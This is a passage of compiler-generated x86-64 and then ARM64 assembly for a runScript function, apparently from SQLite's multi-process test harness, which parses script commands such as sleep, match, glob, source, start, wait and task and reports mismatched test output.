movb $0, (%rcx) addq $200, %rcx addl $2, %edx cmpl %edx, %eax jg LBB0_23 LBB0_24: ## in Loop: Header=BB0_2 Depth=1 movq %rsi, -1160(%rbp) ## 8-byte Spill leaq -80(%rbp), %r14 movq %r14, %rdi leaq L_.str.1(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_30 ## %bb.25: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi leaq L_.str.2(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_131 ## %bb.26: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi leaq L_.str.3(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_31 ## %bb.27: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi leaq L_.str.4(%rip), %rsi callq _strcmp cmpl $0, -1116(%rbp) ## 4-byte Folded Reload jle LBB0_34 ## %bb.28: ## in Loop: Header=BB0_2 Depth=1 testq %rax, %rax jne LBB0_34 ## %bb.29: ## in Loop: Header=BB0_2 Depth=1 movl -1116(%rbp), %edi ## 4-byte Reload movl -1184(%rbp), %esi ## 4-byte Reload movl $1, %edx callq _finishScript jmp LBB0_68 LBB0_30: ## in Loop: Header=BB0_2 Depth=1 movq -1144(%rbp), %rdi ## 8-byte Reload callq _atoi movl %eax, %edi callq _sqlite3_sleep jmp LBB0_68 LBB0_31: ## in Loop: Header=BB0_2 Depth=1 movq _g@GOTPCREL(%rip), %rax cmpl $1, (%rax) movq -1104(%rbp), %r14 ## 8-byte Reload jne LBB0_33 ## %bb.32: ## in Loop: Header=BB0_2 Depth=1 decl %r13d leaq L_.str(%rip), %rdi movl %r13d, %esi movq %rbx, %rdx xorl %eax, %eax callq _logMessage LBB0_33: ## in Loop: Header=BB0_2 Depth=1 leaq -1132(%rbp), %rdi callq _stringReset jmp LBB0_69 LBB0_34: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi leaq L_.str.5(%rip), %rsi callq _strcmp testq %rax, %rax leaq L_.str.6(%rip), %rsi leaq L_.str.8(%rip), %r14 je LBB0_67 ## %bb.35: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi callq _strcmp testq %rax, %rax je LBB0_57 ## %bb.36: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi movq %r14, %rsi callq _strcmp testq %rax, %rax leaq L_.str.9(%rip), %rsi je LBB0_48 ## %bb.37: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi callq _strcmp testq %rax, %rax je LBB0_48 ## %bb.38: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi leaq L_.str.11(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_71 ## %bb.39: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi leaq L_.str.13(%rip), %rsi callq _strcmp testq %rax, %rax leaq L_.str.14(%rip), %r14 je LBB0_72 ## %bb.40: ## in Loop: Header=BB0_2 Depth=1 movl %r13d, %r12d leaq -80(%rbp), %rdi leaq L_.str.17(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_74 ## %bb.41: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi leaq L_.str.18(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_81 ## %bb.42: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %r14 movq %r14, %rdi leaq L_.str.20(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_95 ## %bb.43: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi leaq L_.str.21(%rip), %rsi callq _strcmp testq %rax, %rax movq -1112(%rbp), %r12 ## 8-byte Reload je LBB0_68 ## %bb.44: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi leaq L_.str.22(%rip), %rsi callq _strcmp cmpl $0, -1116(%rbp) ## 4-byte Folded Reload jne LBB0_97 ## %bb.45: ## in Loop: Header=BB0_2 Depth=1 testq %rax, %rax jne LBB0_97 ## %bb.46: ## in Loop: Header=BB0_2 Depth=1 movq -1144(%rbp), %rdi ## 8-byte Reload callq _atoi testl %eax, %eax jle LBB0_68 ## %bb.47: ## in Loop: Header=BB0_2 Depth=1 movl %eax, %edi callq _startClient jmp LBB0_68 LBB0_48: ## in Loop: Header=BB0_2 Depth=1 movzbl -80(%rbp), %ecx xorl %eax, %eax cmpb $103, %cl setne %al leal (%rax,%rax,2), %r15d addl $6, %r15d leal -1(%r13), %r14d cmpl %r14d, %r15d jge LBB0_54 ## %bb.49: ## in Loop: Header=BB0_2 Depth=1 movb %cl, -1192(%rbp) ## 1-byte Spill movl %r15d, %r15d movl %r14d, %r12d LBB0_50: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movsbl (%rbx,%r15), %edi callq _ISSPACE testq %rax, %rax je LBB0_53 ## %bb.51: ## in Loop: Header=BB0_50 Depth=2 incq %r15 cmpq %r15, %r12 jne LBB0_50 ## %bb.52: ## in Loop: Header=BB0_2 Depth=1 movl %r14d, %r15d LBB0_53: ## in Loop: Header=BB0_2 Depth=1 movq -1112(%rbp), %r12 ## 8-byte Reload movzbl -1192(%rbp), %ecx ## 1-byte Folded Reload LBB0_54: ## in Loop: Header=BB0_2 Depth=1 cmpb $103, %cl sete %r14b movl %r15d, %eax addq %rax, %rbx notl %r15d addl %r15d, %r13d leaq L_.str(%rip), %rdi movl %r13d, %esi movq %rbx, %rdx xorl %eax, %eax callq _sqlite3_mprintf movq %rax, %rbx movl -1128(%rbp), %esi movq %rax, %rdi callq _sqlite3_strglob testq %rax, %rax sete %al cmpb %al, %r14b je LBB0_56 ## %bb.55: ## in Loop: Header=BB0_2 Depth=1 movl -1128(%rbp), %r8d leaq L_.str.10(%rip), %rdi movl -1120(%rbp), %esi ## 4-byte Reload movq -1152(%rbp), %rdx ## 8-byte Reload movq %rbx, %rcx xorl %eax, %eax callq _errorMessage LBB0_56: ## in Loop: Header=BB0_2 Depth=1 movq %rbx, %rdi callq _sqlite3_free jmp LBB0_66 LBB0_57: ## in Loop: Header=BB0_2 Depth=1 movl $7, %r14d cmpl $9, %r13d jl LBB0_63 ## %bb.58: ## in Loop: Header=BB0_2 Depth=1 leal -1(%r13), %r14d movl %r14d, %r12d movl $7, %r15d LBB0_59: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movsbl (%rbx,%r15), %edi callq _ISSPACE testq %rax, %rax je LBB0_61 ## %bb.60: ## in Loop: Header=BB0_59 Depth=2 incq %r15 cmpq %r15, %r12 jne LBB0_59 jmp LBB0_62 LBB0_61: ## in Loop: Header=BB0_2 Depth=1 movl %r15d, %r14d LBB0_62: ## in Loop: Header=BB0_2 Depth=1 movq -1112(%rbp), %r12 ## 8-byte Reload LBB0_63: ## in Loop: Header=BB0_2 Depth=1 movl %r14d, %eax addq %rax, %rbx notl %r14d addl %r14d, %r13d cmpl -1132(%rbp), %r13d jne LBB0_65 ## %bb.64: ## in Loop: Header=BB0_2 Depth=1 movl -1128(%rbp), %edi movq %rbx, %rsi movl %r13d, %edx callq _strncmp testq %rax, %rax je LBB0_66 LBB0_65: ## in Loop: Header=BB0_2 Depth=1 movl -1128(%rbp), %r9d leaq L_.str.7(%rip), %rdi movl -1120(%rbp), %esi ## 4-byte Reload movq -1152(%rbp), %rdx ## 8-byte Reload movl %r13d, %ecx movq %rbx, %r8 xorl %eax, %eax callq _errorMessage LBB0_66: ## in Loop: Header=BB0_2 Depth=1 movq _g@GOTPCREL(%rip), %r14 incl 8(%r14) LBB0_67: ## in Loop: Header=BB0_2 Depth=1 leaq -1132(%rbp), %rdi callq _stringReset LBB0_68: ## in Loop: Header=BB0_2 Depth=1 movq -1104(%rbp), %r14 ## 8-byte Reload LBB0_69: ## in Loop: Header=BB0_2 Depth=1 movl -1092(%rbp), %esi ## 4-byte Reload LBB0_70: ## in Loop: Header=BB0_2 Depth=1 addl %r14d, %esi movslq %esi, %rax leaq (%r12,%rax), %rbx movzbl (%r12,%rax), %r15d testb %r15b, %r15b jne LBB0_2 jmp LBB0_126 LBB0_71: ## in Loop: Header=BB0_2 Depth=1 movl -1128(%rbp), %esi leaq L_.str.12(%rip), %rdi xorl %eax, %eax callq _logMessage jmp LBB0_68 LBB0_72: ## in Loop: Header=BB0_2 Depth=1 movq -1144(%rbp), %r15 ## 8-byte Reload movsbl (%r15), %edi callq _isDirSep testl %eax, %eax je LBB0_90 LBB0_102: ## in Loop: Header=BB0_2 Depth=1 xorl %r13d, %r13d LBB0_103: ## in Loop: Header=BB0_2 Depth=1 movq %r15, %rdi callq _readFile movq %rax, %r12 movq _g@GOTPCREL(%rip), %rax cmpl $0, (%rax) leaq L_.str.16(%rip), %r14 je LBB0_105 ## %bb.104: ## in Loop: Header=BB0_2 Depth=1 leaq L_.str.15(%rip), %rdi movq %r15, %rsi xorl %eax, %eax callq _logMessage LBB0_105: ## in Loop: Header=BB0_2 Depth=1 xorl %edi, %edi xorl %esi, %esi movq %r12, %rdx movq %r15, %rcx callq _runScript movq %r12, %rdi callq _sqlite3_free movq _g@GOTPCREL(%rip), %rax cmpl $0, (%rax) je LBB0_107 ## %bb.106: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi movq %r15, %rsi xorl %eax, %eax callq _logMessage LBB0_107: ## in Loop: Header=BB0_2 Depth=1 movq %r13, %rdi callq _sqlite3_free jmp LBB0_108 LBB0_74: ## in Loop: Header=BB0_2 Depth=1 movl $7, %r14d cmpl $8, %r13d jl LBB0_79 ## %bb.75: ## in Loop: Header=BB0_2 Depth=1 addq -1112(%rbp), %r15 ## 8-byte Folded Reload movl $7, %r14d LBB0_76: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movsbl (%r15,%r14), %edi callq _ISSPACE testq %rax, %rax je LBB0_79 ## %bb.77: ## in Loop: Header=BB0_76 Depth=2 incq %r14 cmpq %r14, %r12 jne LBB0_76 ## %bb.78: ## in Loop: Header=BB0_2 Depth=1 movl %r12d, %r14d LBB0_79: ## in Loop: Header=BB0_2 Depth=1 subl %r14d, %r13d movl %r14d, %eax addq %rax, %rbx leaq L_.str(%rip), %rdi movl %r13d, %esi movq %rbx, %rdx xorl %eax, %eax callq _logMessage jmp LBB0_108 LBB0_80: ## in Loop: Header=BB0_2 Depth=1 movq -1112(%rbp), %r12 ## 8-byte Reload cmpl %eax, %esi jl LBB0_22 jmp LBB0_24 LBB0_81: ## in Loop: Header=BB0_2 Depth=1 movl $4, %r14d cmpl $5, %r13d jl LBB0_86 ## %bb.82: ## in Loop: Header=BB0_2 Depth=1 addq -1112(%rbp), %r15 ## 8-byte Folded Reload movl $4, %r14d LBB0_83: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movsbl (%r15,%r14), %edi callq _ISSPACE testq %rax, %rax je LBB0_86 ## %bb.84: ## in Loop: Header=BB0_83 Depth=2 incq %r14 cmpq %r14, %r12 jne LBB0_83 ## %bb.85: ## in Loop: Header=BB0_2 Depth=1 movl %r12d, %r14d LBB0_86: ## in Loop: Header=BB0_2 Depth=1 movl %r13d, %esi subl %r14d, %esi movl %r14d, %edx addq %rbx, %rdx leaq L_.str.19(%rip), %rdi callq _prepareSql movq %rax, %r12 movq %rax, %rdi callq _sqlite3_step movq _SQLITE_ROW@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jne LBB0_88 ## %bb.87: ## in Loop: Header=BB0_2 Depth=1 movq %r12, %rdi xorl %esi, %esi callq _sqlite3_column_int testq %rax, %rax jne LBB0_89 LBB0_88: ## in Loop: Header=BB0_2 Depth=1 movslq %r13d, %rax addq %rax, %rbx movq %rbx, %rdi movl $1, %esi leaq -1124(%rbp), %rdx callq _findEndif movq -1104(%rbp), %rcx ## 8-byte Reload addl %eax, %ecx movq %rcx, -1104(%rbp) ## 8-byte Spill LBB0_89: ## in Loop: Header=BB0_2 Depth=1 movq %r12, %rdi callq _sqlite3_finalize LBB0_108: ## in Loop: Header=BB0_2 Depth=1 movq -1112(%rbp), %r12 ## 8-byte Reload jmp LBB0_68 LBB0_90: ## in Loop: Header=BB0_2 Depth=1 movq -1152(%rbp), %rdi ## 8-byte Reload callq _strlen movl %eax, %ebx LBB0_91: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 testl %ebx, %ebx jle LBB0_102 ## %bb.92: ## in Loop: Header=BB0_91 Depth=2 movq -1152(%rbp), %rax ## 8-byte Reload movsbl -1(%rax,%rbx), %edi decq %rbx callq _isDirSep testl %eax, %eax je LBB0_91 ## %bb.93: ## in Loop: Header=BB0_2 Depth=1 testq %rbx, %rbx je LBB0_102 ## %bb.94: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi movl %ebx, %esi movq -1152(%rbp), %rdx ## 8-byte Reload movq %r15, %rcx xorl %eax, %eax callq _sqlite3_mprintf movq %rax, %r15 movq %rax, %r13 jmp LBB0_103 LBB0_95: ## in Loop: Header=BB0_2 Depth=1 movslq %r13d, %rax addq %rax, %rbx movq %rbx, %rdi xorl %esi, %esi leaq -1124(%rbp), %rdx callq _findEndif movq -1104(%rbp), %r14 ## 8-byte Reload addl %eax, %r14d movq -1112(%rbp), %r12 ## 8-byte Reload jmp LBB0_69 LBB0_97: ## in Loop: Header=BB0_2 Depth=1 movq %r14, %rdi leaq L_.str.23(%rip), %rsi callq _strcmp cmpl $0, -1116(%rbp) ## 4-byte Folded Reload jne LBB0_109 ## %bb.98: ## in Loop: Header=BB0_2 Depth=1 testq %rax, %rax jne LBB0_109 ## %bb.99: ## in Loop: Header=BB0_2 Depth=1 movl $10000, %ebx ## imm = 0x2710 cmpl $2, -1160(%rbp) ## 4-byte Folded Reload jb LBB0_101 ## %bb.100: ## in Loop: Header=BB0_2 Depth=1 movq -1200(%rbp), %rdi ## 8-byte Reload callq _atoi movl %eax, %ebx LBB0_101: ## in Loop: Header=BB0_2 Depth=1 movl $1000, %edi ## imm = 0x3E8 leaq -1088(%rbp), %r14 movq %r14, %rsi leaq L_.str.24(%rip), %rdx movl -1120(%rbp), %ecx ## 4-byte Reload movq -1152(%rbp), %r8 ## 8-byte Reload callq _sqlite3_snprintf movq -1144(%rbp), %rdi ## 8-byte Reload callq _atoi movl %eax, %edi movl %ebx, %esi movq %r14, %rdx callq _waitForClient jmp LBB0_68 LBB0_109: ## in Loop: Header=BB0_2 Depth=1 movq _g@GOTPCREL(%rip), %r14 leaq -80(%rbp), %rdi leaq L_.str.25(%rip), %rsi callq _strcmp cmpl $0, -1116(%rbp) ## 4-byte Folded Reload jne LBB0_114 ## %bb.110: ## in Loop: Header=BB0_2 Depth=1 testq %rax, %rax jne LBB0_114 ## %bb.111: ## in Loop: Header=BB0_2 Depth=1 movq -1144(%rbp), %rdi ## 8-byte Reload callq _atoi movl %eax, %r12d movslq %r13d, %rax addq %rax, %rbx movq %rbx, %rdi leaq -1124(%rbp), %rsi callq _findEnd movl %eax, %r14d testl %r12d, %r12d js LBB0_118 ## %bb.112: ## in Loop: Header=BB0_2 Depth=1 leaq L_.str(%rip), %rdi movl %r14d, %esi movq %rbx, %rdx xorl %eax, %eax callq _sqlite3_mprintf movq %rax, -1176(%rbp) ## 8-byte Spill cmpl $2, -1160(%rbp) ## 4-byte Folded Reload jb LBB0_119 ## %bb.113: ## in Loop: Header=BB0_2 Depth=1 leaq L_.str.12(%rip), %rdi movq -1200(%rbp), %rsi ## 8-byte Reload xorl %eax, %eax callq _sqlite3_mprintf jmp LBB0_120 LBB0_114: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi leaq L_.str.29(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_117 ## %bb.115: ## in Loop: Header=BB0_2 Depth=1 leaq -80(%rbp), %rdi leaq L_.str.30(%rip), %rsi callq _strcmp testq %rax, %rax je LBB0_122 ## %bb.116: ## in Loop: Header=BB0_2 Depth=1 leaq L_.str.31(%rip), %rdi movl -1120(%rbp), %esi ## 4-byte Reload movq -1152(%rbp), %rdx ## 8-byte Reload leaq -80(%rbp), %rcx xorl %eax, %eax callq _errorMessage jmp LBB0_108 LBB0_117: ## in Loop: Header=BB0_2 Depth=1 xorl %eax, %eax callq _test_breakpoint jmp LBB0_108 LBB0_118: ## in Loop: Header=BB0_2 Depth=1 leaq L_.str.26(%rip), %rdi movl -1120(%rbp), %esi ## 4-byte Reload movq -1152(%rbp), %rdx ## 8-byte Reload movl %r12d, %ecx xorl %eax, %eax callq _errorMessage jmp LBB0_121 LBB0_119: ## in Loop: Header=BB0_2 Depth=1 movq -1152(%rbp), %rdi ## 8-byte Reload callq _filenameTail leaq L_.str.27(%rip), %rdi movl %eax, %esi movl -1120(%rbp), %edx ## 4-byte Reload xorl %eax, %eax callq _sqlite3_mprintf LBB0_120: ## in Loop: Header=BB0_2 Depth=1 movq %rax, %r15 movl %r12d, %edi callq _startClient leaq L_.str.28(%rip), %rdi movl %r12d, %esi movq -1176(%rbp), %r12 ## 8-byte Reload movq %r12, %rdx movq %r15, %rcx xorl %eax, %eax callq _runSql movq %r12, %rdi callq _sqlite3_free movq %r15, %rdi callq _sqlite3_free LBB0_121: ## in Loop: Header=BB0_2 Depth=1 movslq %r14d, %rax addq %rax, %rbx movq %rbx, %rdi leaq -1124(%rbp), %rsi callq _tokenLength addl %r14d, %r13d addl %eax, %r13d movq -1104(%rbp), %rax ## 8-byte Reload leal (%rax,%r13), %ecx movl %ecx, -1176(%rbp) ## 4-byte Spill movl %r13d, %esi movq %rax, %r14 movq -1112(%rbp), %r12 ## 8-byte Reload jmp LBB0_70 LBB0_122: ## in Loop: Header=BB0_2 Depth=1 cmpl $0, -1160(%rbp) ## 4-byte Folded Reload je LBB0_124 ## %bb.123: ## in Loop: Header=BB0_2 Depth=1 movq -1144(%rbp), %rdi ## 8-byte Reload callq _booleanValue xorl %ecx, %ecx testl %eax, %eax sete %cl movl %ecx, 4(%r14) jmp LBB0_108 LBB0_124: ## in Loop: Header=BB0_2 Depth=1 movl $1, %ecx movl %ecx, 4(%r14) jmp LBB0_108 LBB0_125: movl %r13d, %esi LBB0_126: movl -1176(%rbp), %eax ## 4-byte Reload subl %eax, %esi jle LBB0_128 ## %bb.127: cltq addq %rax, %r12 leaq L_.str(%rip), %rdi movq %r12, %rdx xorl %eax, %eax callq _sqlite3_mprintf movq %rax, %rbx movq %rax, %rdi xorl %eax, %eax callq _runSql movq %rbx, %rdi callq _sqlite3_free LBB0_128: leaq -1132(%rbp), %rdi callq _stringFree movq -1248(%rbp), %rsp ## 8-byte Reload movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_130 ## %bb.129: leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_130: callq ___stack_chk_fail LBB0_131: movq _g@GOTPCREL(%rip), %r14 movq -1144(%rbp), %rdi ## 8-byte Reload callq _atoi movl %eax, %ebx movl -1116(%rbp), %edi ## 4-byte Reload movl -1184(%rbp), %esi ## 4-byte Reload movl $1, %edx callq _finishScript testl %ebx, %ebx jne LBB0_133 ## %bb.132: movl 12(%r14), %edi callq _sqlite3_close LBB0_133: movl %ebx, %edi callq _exit .cfi_endproc ## -- End function .comm _MX_ARG,4,2 ## @MX_ARG .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%.*s" .comm _g,16,2 ## @g L_.str.1: ## @.str.1 .asciz "sleep" L_.str.2: ## @.str.2 .asciz "exit" L_.str.3: ## @.str.3 .asciz "testcase" L_.str.4: ## @.str.4 .asciz "finish" L_.str.5: ## @.str.5 .asciz "reset" L_.str.6: ## @.str.6 .asciz "match" L_.str.7: ## @.str.7 .asciz "line %d of %s:\nExpected [%.*s]\n Got [%s]" L_.str.8: ## @.str.8 .asciz "glob" L_.str.9: ## @.str.9 .asciz "notglob" L_.str.10: ## @.str.10 .asciz "line %d of %s:\nExpected [%s]\n Got [%s]" L_.str.11: ## @.str.11 .asciz "output" L_.str.12: ## @.str.12 .asciz "%s" L_.str.13: ## @.str.13 .asciz "source" L_.str.14: ## @.str.14 .asciz "%.*s/%s" L_.str.15: ## @.str.15 .asciz "begin script [%s]\n" L_.str.16: ## @.str.16 .asciz "end script [%s]\n" L_.str.17: ## @.str.17 .asciz "print" L_.str.18: ## @.str.18 .asciz "if" L_.str.19: ## @.str.19 .asciz "SELECT %.*s" .comm _SQLITE_ROW,4,2 ## @SQLITE_ROW L_.str.20: ## @.str.20 .asciz "else" L_.str.21: ## @.str.21 .asciz "endif" L_.str.22: ## @.str.22 .asciz "start" L_.str.23: ## @.str.23 .asciz "wait" L_.str.24: ## @.str.24 .asciz "line %d of %s\n" L_.str.25: ## @.str.25 .asciz "task" L_.str.26: ## @.str.26 .asciz "line %d of %s: bad client number: %d" L_.str.27: ## @.str.27 .asciz "%s:%d" L_.str.28: ## @.str.28 .asciz "INSERT INTO task(client,script,name) VALUES(%d,'%q',%Q)" L_.str.29: ## @.str.29 .asciz "breakpoint" L_.str.30: ## @.str.30 .asciz "show-sql-errors" L_.str.31: ## @.str.31 .asciz "line %d of %s: unknown command --%s" .no_dead_strip _runScript .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function runScript _runScript: ; @runScript .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 sub sp, sp, #1184 mov x19, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x22, x3 mov x27, x2 mov x23, x1 mov x20, x0 mov x25, sp Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-96] mov w8, #1 ; =0x1 Lloh3: adrp x9, _MX_ARG@GOTPAGE Lloh4: ldr x9, [x9, _MX_ARG@GOTPAGEOFF] str w8, [x19, #132] Lloh5: ldr w8, [x9] mov w9, #100 ; =0x64 umull x9, w8, w9 add x8, x9, #15 and x8, x8, #0xfffffffff0 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x9, sp sub x24, x9, x8 mov sp, x24 add x0, x19, #124 mov w1, #0 ; =0x0 mov w2, #8 ; =0x8 bl _memset add x0, x19, #124 bl _stringReset ldrb w21, [x27] cbz w21, LBB0_133 ; %bb.1: str x22, [x19, #80] ; 8-byte Folded Spill str w20, [x19, #100] ; 4-byte Folded Spill mov w22, #0 ; =0x0 str wzr, [x19, #112] ; 4-byte Folded Spill str x24, [x19, #104] ; 8-byte Folded Spill add x8, x24, #100 str x8, [x19, #72] ; 8-byte Folded Spill add x8, x27, #2 str x8, [x19, #88] ; 8-byte Folded Spill mov x20, x27 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 sxtw x8, w28 add x22, x8, w22, sxtw add x20, x27, x22 ldrb w21, [x20] cbz w21, LBB0_131 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_15 Depth 2 ; Child Loop BB0_16 Depth 3 ; Child Loop BB0_25 Depth 2 ; Child Loop BB0_28 Depth 2 ; Child Loop BB0_84 Depth 2 ; Child Loop BB0_79 Depth 2 ; Child Loop BB0_88 Depth 2 ; Child Loop BB0_54 Depth 2 ; Child Loop BB0_63 Depth 2 ldr w26, [x19, #132] add x1, x19, #132 mov x0, x20 bl _tokenLength mov x28, x0 sxtb w0, w21 bl _ISSPACE cbnz x0, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 and w8, w21, #0xff cmp w8, #45 b.ne LBB0_2 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 ldrb w8, [x20, #1] cmp w8, #45 b.ne LBB0_2 ; %bb.6: ; in Loop: Header=BB0_3 Depth=1 mov x8, x22 sxtw x24, w8 add x8, x27, x24 ldrsb w0, [x8, #2] bl _isalpha cbz w0, LBB0_2 ; %bb.7: ; in Loop: Header=BB0_3 Depth=1 ldr w9, [x19, #112] ; 4-byte Folded Reload subs w8, w22, w9 b.le LBB0_9 ; %bb.8: ; in Loop: Header=BB0_3 Depth=1 add x9, x27, w9, sxtw stp x8, x9, [sp, #-16]! Lloh8: adrp x0, l_.str@PAGE Lloh9: add x0, x0, l_.str@PAGEOFF bl _sqlite3_mprintf add sp, sp, #16 mov x21, x0 add x0, x19, #124 mov x1, x21 bl _evalSql mov x0, x21 bl _sqlite3_free add w8, w28, w22 str w8, [x19, #112] ; 4-byte Folded Spill LBB0_9: ; in Loop: Header=BB0_3 Depth=1 Lloh10: adrp x8, _g@GOTPAGE Lloh11: ldr x8, [x8, _g@GOTPAGEOFF] Lloh12: ldr w8, [x8] cmp w8, #2 b.lt LBB0_11 ; %bb.10: ; in Loop: Header=BB0_3 Depth=1 mov x8, x28 stp x8, x20, [sp, #-16]! Lloh13: adrp x0, l_.str@PAGE Lloh14: add x0, x0, l_.str@PAGEOFF bl _logMessage add sp, sp, #16 LBB0_11: ; in Loop: Header=BB0_3 Depth=1 add x0, x20, #2 sub w21, w28, #2 sub x2, x29, #126 str x0, [x19, #64] ; 8-byte Folded Spill mov x1, x21 mov w3, #30 ; =0x1e bl _extractToken mov x10, x21 ; kill: def $w0 killed $w0 def $x0 mov w21, #0 ; =0x0 Lloh15: adrp x8, _MX_ARG@GOTPAGE Lloh16: ldr x8, [x8, _MX_ARG@GOTPAGEOFF] Lloh17: ldr w8, [x8] cmp w0, w10 b.gt LBB0_21 ; %bb.12: ; in Loop: Header=BB0_3 Depth=1 cmp w8, #1 b.lt LBB0_21 ; %bb.13: ; in Loop: Header=BB0_3 Depth=1 cmp w0, w10 b.ge LBB0_20 ; %bb.14: ; in Loop: Header=BB0_3 Depth=1 str w23, [x19, #52] ; 4-byte Folded Spill stp x27, x25, [x19, #32] ; 16-byte Folded Spill mov x21, #0 ; =0x0 sxtw x9, w10 ldr x8, [x19, #88] ; 8-byte Folded Reload add x11, x8, x24 stp x9, x10, [x19, #16] ; 16-byte Folded Spill str x11, [x19, #8] ; 8-byte Folded Spill LBB0_15: ; Parent Loop BB0_3 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_16 Depth 3 str x21, [x19, #56] ; 8-byte Folded Spill sxtw x8, w0 sbfiz x23, x0, #32, #32 neg w25, w0 add x27, x11, x8 sub x21, x9, x8 LBB0_16: ; Parent Loop BB0_3 Depth=1 ; Parent Loop BB0_15 Depth=2 ; => This Inner Loop Header: Depth=3 ldrsb w0, [x27], #1 bl _ISSPACE cbz x0, LBB0_18 ; %bb.17: ; in Loop: Header=BB0_16 Depth=3 mov x8, #4294967296 ; =0x100000000 add x23, x23, x8 sub w25, w25, #1 sub x21, x21, #1 cbnz x21, LBB0_16 b LBB0_29 LBB0_18: ; in Loop: Header=BB0_15 Depth=2 ldp x10, x8, [x19, #56] ; 16-byte Folded Reload add x0, x8, x23, asr #32 ldr x8, [x19, #104] ; 8-byte Folded Reload mov w9, #100 ; =0x64 madd x2, x10, x9, x8 mov x1, x21 mov x21, x10 mov w3, #100 ; =0x64 bl _extractToken add x21, x21, #1 Lloh18: adrp x8, _MX_ARG@GOTPAGE Lloh19: ldr x8, [x8, _MX_ARG@GOTPAGEOFF] Lloh20: ldr w8, [x8] sxtw x9, w8 sub w0, w0, w25 ldr x10, [x19, #24] ; 8-byte Folded Reload cmp w0, w10 ccmp x21, x9, #0, lt ldp x11, x9, [x19, #8] ; 16-byte Folded Reload b.lt LBB0_15 ; %bb.19: ; in Loop: Header=BB0_3 Depth=1 ldp x27, x25, [x19, #32] ; 16-byte Folded Reload ldr w23, [x19, #52] ; 4-byte Folded Reload cmp w21, w8 b.lt LBB0_22 b LBB0_30 LBB0_20: ; in Loop: Header=BB0_3 Depth=1 mov x21, #0 ; =0x0 LBB0_21: ; in Loop: Header=BB0_3 Depth=1 cmp w21, w8 b.ge LBB0_30 LBB0_22: ; in Loop: Header=BB0_3 Depth=1 mov w12, w21 add w9, w21, #2 cmp w8, w9 csel w9, w8, w9, gt mvn w10, w21 add w9, w9, w10 cmp w9, #6 b.hs LBB0_24 ; %bb.23: ; in Loop: Header=BB0_3 Depth=1 mov x9, x12 b LBB0_27 LBB0_24: ; in Loop: Header=BB0_3 Depth=1 lsr w9, w9, #1 add w10, w9, #1 and x11, x10, #0xfffffffc add x9, x12, x11, lsl #1 ldr x13, [x19, #104] ; 8-byte Folded Reload mov w14, #100 ; =0x64 umaddl x12, w12, w14, x13 mov x13, x11 LBB0_25: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 strb wzr, [x12] strb wzr, [x12, #200] strb wzr, [x12, #400] strb wzr, [x12, #600] add x12, x12, #800 subs x13, x13, #4 b.ne LBB0_25 ; %bb.26: ; in Loop: Header=BB0_3 Depth=1 cmp x11, x10 b.eq LBB0_30 LBB0_27: ; in Loop: Header=BB0_3 Depth=1 ldr x10, [x19, #104] ; 8-byte Folded Reload mov w11, #100 ; =0x64 madd x10, x9, x11, x10 